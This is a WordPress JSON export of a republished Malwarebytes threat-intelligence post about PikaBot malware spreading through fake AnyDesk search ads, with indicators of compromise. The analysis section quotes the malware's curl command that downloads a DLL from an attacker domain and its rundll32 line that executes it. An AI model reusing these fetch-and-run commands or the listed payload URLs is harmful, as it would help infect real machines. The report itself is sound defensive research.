{"id":23616,"date":"2023-12-15T12:10:32","date_gmt":"2023-12-15T20:10:32","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2023\/12\/15\/news-17346\/"},"modified":"2023-12-15T12:10:32","modified_gmt":"2023-12-15T20:10:32","slug":"news-17346","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2023\/12\/15\/news-17346\/","title":{"rendered":"PikaBot distributed via malicious search ads"},"content":{"rendered":"\n<p>During this past year, we have seen an increase in the use of malicious ads (malvertising) and specifically those via search engines, to drop malware targeting businesses. In fact, browser-based attacks overall have been a lot more common if we include social engineering campaigns.<\/p>\n<p>Criminals have found success in acquiring new victims thanks to search ads; we believe there are specialized services that help malware distributors and affiliates to bypass Google&#8217;s security measures and helping them to set up a decoy infrastructure. In particular, we saw similarities with the malvertising chains previously used to drop FakeBat.<\/p>\n<p>In the past few days, researchers including ourselves have observed PikaBot, a new malware family that appeared in early 2003, distributed via malvertising. PikaBot was previously only distributed via malspam campaigns similarly to QakBot and emerged as one of the preferred payloads for a threat actor known as TA577.<\/p>\n<p>In this blog post, we share details about this new campaign along with indicators of compromise.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-pikabot-via-malspam\">PikaBot via malspam<\/h2>\n<p>PikaBot was first <a href=\"https:\/\/twitter.com\/Unit42_Intel\/status\/1623349272061136900\">identified<\/a> as a possible Matanbuchus drop from a malspam campaign by Unit 42 in February 2023. The name PikaBot was later given   and attributed to <a href=\"https:\/\/www.proofpoint.com\/us\/blog\/threat-insight\/first-step-initial-access-leads-ransomware\">TA577<\/a>, a threat actor that Proofpoint saw involved in the distribution of payloads such as QakBot, IcedID, SystemBC as well as Cobalt Strike. More importantly, TA577 has been associated with ransomware distribution.<\/p>\n<p>Researchers at Cofense <a href=\"https:\/\/cofense.com\/blog\/are-darkgate-and-pikabot-the-new-qakbot\/\">observed<\/a> a rise in malspam campaigns to deliver both DarkGate and PikaBot, following the <a href=\"https:\/\/www.fbi.gov\/news\/stories\/fbi-partners-dismantle-qakbot-infrastructure-in-multinational-cyber-takedown\">takedown<\/a> of the QakBot botnet in August 2023. A typical distribution chain for PikaBot usually starts with an email (hijacked thread) containing a link to an external website. Users are tricked to download a zip archive containing a malicious JavaScript.<\/p>\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"596\" height=\"235\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-7.png\" alt=\"\" class=\"wp-image-100820\" \/><\/figure>\n<p>The JavaScript creates a random directory structure where it retrieves the malicious payload from an external website via the <em>curl<\/em> utility:<\/p>\n<pre class=\"wp-block-preformatted\">\"C:WindowsSystem32cmd.exe\" \/c mkdir C:GkooegsglitrgDkrogirbksri &amp; curl https:\/\/keebling[.]com\/Y0j85XT\/0.03471530983348692.dat --output C:GkooegsglitrgDkrogirbksriWkkfgujbsrbuj.dll<\/pre>\n<pre class=\"wp-block-preformatted\">curl https:\/\/keebling[.]com\/Y0j85XT\/0.03471530983348692.dat --output C:GkooegsglitrgDkrogirbksriWkkfgujbsrbuj.dll<\/pre>\n<p>It then executes the paylod (DLL) via <em>rundll32<\/em>:<\/p>\n<pre class=\"wp-block-preformatted\">rundll32 C:GkooegsglitrgDkrogirbksriWkkfgujbsrbuj.dll,Enter<\/pre>\n<p>As <a href=\"https:\/\/research.openanalysis.net\/pikabot\/debugging\/string%20decryption\/2023\/11\/12\/new-pikabot.html#Analysis\">described by OALabs<\/a>, PikaBot&#8217;s core module is then injected into the legitimate <em>SearchProtocolHost.exe<\/em> process. PikaBot&#8217;s loader also hides its injection by using indirect syscalls, making the malware very stealthy.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-distribution-via-malvertising\">Distribution via malvertising<\/h2>\n<p>The campaign targets Google searches for the remote application AnyDesk. Security researcher Colin Cowie <a href=\"https:\/\/infosec.exchange\/@th3_protoCOL\/111564318665696767\">observed<\/a> the distribution chain and the payload was later confirmed to be PikaBot by <a href=\"https:\/\/twitter.com\/OleVilladsen\">Ole Villadsen<\/a>.<\/p>\n<p>We also saw this campaign via a different ad impersonating the AnyDesk brand, belonging to the fake persona &#8220;Manca Marina&#8221;:<\/p>\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"664\" height=\"486\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-2.png\" alt=\"\" class=\"wp-image-100765\" \/><\/figure>\n<p>A decoy website has been setup at <em>anadesky[.]ovmv[.]net<\/em>:<\/p>\n<figure class=\"wp-block-image aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1097\" height=\"737\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-4.png?w=1024\" alt=\"\" class=\"wp-image-100768\" \/><\/figure>\n<p>The download is a digitally signed MSI installer. It&#8217;s worth noting that it had zero detection on VirusTotal at the time we collected it. However, the more interesting aspect is how it evades detection upon execution.<\/p>\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"397\" height=\"519\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-5.png\" alt=\"\" class=\"wp-image-100771\" \/><\/figure>\n<p>The diagram below from <a href=\"https:\/\/www.joesandbox.com\/analysis\/1362406\/0\/html\">JoeSandbox<\/a> summarizes the execution flow:<\/p>\n<figure class=\"wp-block-image aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"629\" height=\"1229\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-6.png?w=524\" alt=\"\" class=\"wp-image-100772\" \/><\/figure>\n<h2 class=\"wp-block-heading\" id=\"h-malvertising-similarities-with-fakebat\">Malvertising similarities with FakeBat<\/h2>\n<p>The threat actors are bypassing Google&#8217;s security checks with a tracking URL via a legitimate marketing platform to redirect to their custom domain behind Cloudflare. At this point, only clean IP addresses are forwarded to the next step.<\/p>\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"705\" height=\"205\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-9.png\" alt=\"\" class=\"wp-image-100840\" \/><\/figure>\n<p>They perform fingerprinting via JavaScript to determine, among other things, if the user is running a virtual machine. Only after the check is successful do we see a redirect to the main landing page (decoy AnyDesk site).<\/p>\n<p>What&#8217;s interesting is that there is a second fingerprinting attempt when the user clicks the download button. This is likely to ensure that the download link won&#8217;t work in a virtualized environment. In this particular campaign, the threat actor is hosting the MSI installer on Dropbox.<\/p>\n<p>We noticed that previous malvertising chains used the same redirection mechanism via onelink[.]me as well as URL structure. These incidents were previously reported to Google and targeted <a href=\"https:\/\/www.malwarebytes.com\/blog\/threat-intelligence\/2023\/12\/malvertisers-zoom-in-on-cryptocurrencies-and-initial-access\">Zoom<\/a> and Slack search ads:<\/p>\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"819\" height=\"408\" src=\"https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2023\/12\/image-10.png\" alt=\"\" class=\"wp-image-100843\" \/><\/figure>\n<p>In some of these instances, we had identified the payload as FakeBat. This is particularly interesting because it points towards a common process used by different threat actors. Perhaps, this is something akin to &#8220;malvertising as a service&#8221; where Google ads and decoy pages are provided to malware distributors.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-conclusion\">Conclusion<\/h2>\n<p>Several years ago, exploit kits were the primary malware distribution vector via drive-by downloads. As vulnerabilities in the browser and its plugins began to be less effective, threat actors concentrated on spam to target businesses. However, some did continue to target browsers but instead had to rely on social engineering, luring victims with <a href=\"https:\/\/www.malwarebytes.com\/blog\/news\/2018\/04\/fakeupdates-campaign-leverages-multiple-website-platforms\">fake browser updates<\/a>.<\/p>\n<p>With malvertising, we see another powerful delivery vector that does not require the user to visit a compromised site. Instead, threat actors are piggybacking on search engines and simply buyings ads that they know their target will be exposed to. As we may have said before, businesses can prevent this risk by only allowing their end users to install applications via their own trusted repositories.<\/p>\n<p>Malwarebytes detects the malicious MSI installers as well as the web infrastructure used in these malvertising campaigns. We have reported the malicious ads and download URLs to Google and Dropbox respectively.<\/p>\n<p><em>Special thanks to Sergei Frankoff, Ole Villadsen, and pr0xylife for their help and feedback.<\/em><\/p>\n<h2 class=\"wp-block-heading\" id=\"h-indicators-of-compromise\">Indicators of Compromise<\/h2>\n<p><strong>Malicious domains<\/strong><\/p>\n<pre class=\"wp-block-preformatted\">anadesky[.]ovmv[.]net cxtensones[.]top<\/pre>\n<p><strong>Dropbox payloads<\/strong><\/p>\n<pre class=\"wp-block-preformatted\">dropbox[.]com\/scl\/fi\/3o9baztz08bdw6yts8sft\/Installer.msi?dl=1&amp;rlkey=wpbj6u5u6tja92y1t157z4cpq<br>dropbox[.]com\/scl\/fi\/p8iup71lu1tiwsyxr909l\/Installer.msi?dl=1&amp;rlkey=h07ehkq617rxphb3asmd91xtu<br>dropbox[.]com\/scl\/fi\/tzq52v1t9lyqq1nys3evj\/InstallerKS.msi?dl=1&amp;rlkey=qbtes3fd3v3vtlzuz8ql9t3qj<\/pre>\n<p><strong>PikaBot hashes<\/strong><\/p>\n<pre class=\"wp-block-preformatted\">0e81a36141d196401c46f6ce293a370e8f21c5e074db5442ff2ba6f223c435f5<br>da81259f341b83842bf52325a22db28af0bc752e703a93f1027fa8d38d3495ff<br>69281eea10f5bfcfd8bc0481f0da9e648d1bd4d519fe57da82f2a9a452d60320<\/pre>\n<p><strong>PikaBot C2s<\/strong><\/p>\n<pre class=\"wp-block-preformatted\">172[.]232[.]186[.]251<br>57[.]128[.]83[.]129<br>57[.]128[.]164[.]11<br>57[.]128[.]108[.]132<br>139[.]99[.]222[.]29<br>172[.]232[.]164[.]77<br>54[.]37[.]79[.]82<br>172[.]232[.]162[.]198<br>57[.]128[.]109[.]221<\/pre>\n<p><a href=\"https:\/\/www.malwarebytes.com\/blog\/threat-intelligence\/2023\/12\/pikabot-distributed-via-malicious-ads\" target=\"bwo\" >https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p> PikaBot, a stealthy malware normally distributed via malspam is now being spread via malicious ads. <\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10488,10378],"tags":[10531,29547,12040],"class_list":["post-23616","post","type-post","status-publish","format-standard","hentry","category-malwarebytes","category-security","tag-malvertising","tag-pikabot","tag-threat-intelligence"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/23616","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=23616"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/23616\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=23616"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=23616"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=23616"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}